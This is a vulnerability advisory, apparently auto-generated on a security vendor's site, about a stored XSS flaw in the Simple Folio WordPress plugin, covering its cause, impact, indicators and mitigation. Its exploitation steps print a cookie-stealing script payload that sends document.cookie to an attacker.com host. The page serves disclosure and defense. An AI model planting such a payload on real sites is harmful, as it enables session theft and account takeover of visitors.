CVE-2025-14039
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-14039 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Folio plugin for WordPress, developed by PressTigers. It affects all versions up to and including 1.1.1, and stems from insufficient input sanitization and output escaping on the _simple_folio_item_client_name and _simple_folio_item_link meta fields. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. It was published on January 28, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize user-supplied input stored in the _simple_folio_item_client_name and _simple_folio_item_link post meta fields, and does not escape this data on output in the single-simple-folio.php template (lines 70 and 76). An attacker with at least Contributor-level WordPress access can save a malicious script payload into these fields via the post editor; the payload is then rendered and executed in the browser of any visitor who views the affected portfolio page (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages served to all site visitors, impacting both confidentiality and integrity. Injected scripts can steal session cookies, capture credentials, redirect users to phishing sites, or perform actions on behalf of authenticated users (including administrators). The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the attacker's own session to affect other users' browsers (Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14039. The EPSS score is approximately 0.036%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Wordfence Weekly Report).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Simple Folio plugin version 1.1.1 or earlier. This can be done by checking the plugin's readme.txt file (e.g., /wp-content/plugins/simple-folio/readme.txt) or using web scanning tools.
  2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Create or Edit a Portfolio Item: Navigate to the WordPress admin dashboard and create or edit a Simple Folio portfolio post.
  4. Inject Malicious Payload: Insert a crafted XSS payload into the _simple_folio_item_client_name or _simple_folio_item_link meta fields. For example, set the client name field to <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  5. Publish the Post: Save and publish the portfolio item. The malicious script is now stored in the WordPress database.
  6. Trigger Execution: Any user (including administrators) who visits the affected portfolio page will have the injected script execute in their browser, potentially exposing session cookies or enabling further account takeover (Wordfence, WordPress Trac).

Indicators of compromise

  • Database: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the _simple_folio_item_client_name or _simple_folio_item_link post meta fields in the WordPress wp_postmeta table.
  • Logs: WordPress access logs showing POST requests to /wp-admin/post.php or the REST API from Contributor-level accounts containing encoded script payloads in portfolio item fields.
  • Network: Outbound requests from visitor browsers to unexpected external domains shortly after loading Simple Folio portfolio pages, potentially indicating cookie or credential exfiltration.
  • File System: Modifications to single-simple-folio.php or other plugin template files if an attacker escalated access and attempted to persist via file modification.

Mitigation and workarounds

WordPress site administrators should update the Simple Folio plugin to a version beyond 1.1.1 that includes the fix for this vulnerability; the patch was committed to the plugin repository (changeset 3442515). If an update is not immediately available, administrators should restrict Contributor-level user registration and audit existing Contributor accounts for suspicious portfolio entries. Reviewing and sanitizing existing _simple_folio_item_client_name and _simple_folio_item_link meta field values in the database is also recommended (Wordfence, WordPress Trac Changeset).

Community reactions

Wordfence reported the vulnerability as part of their weekly WordPress vulnerability intelligence report for January 26–February 1, 2026, noting it as a medium-severity stored XSS issue (Wordfence Weekly Report). A brief technical write-up was published by Infinit Security shortly after disclosure (Infinit Security). No significant broader media coverage or notable researcher commentary beyond standard vulnerability aggregation has been observed.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2024-13784CRITICAL9.8
  • arforms-form-builder
NoYesAug 16, 2026
CVE-2026-65640HIGH8.8
  • wordpress
NoYesAug 17, 2026
CVE-2026-11801HIGH7.5
  • wpadverts
NoYesAug 18, 2026
CVE-2026-13700MEDIUM5.9
  • wooms
NoNoAug 17, 2026
CVE-2026-14832MEDIUM5.3
  • shopsmart-loyalty-for-woocommerce
NoNoAug 17, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management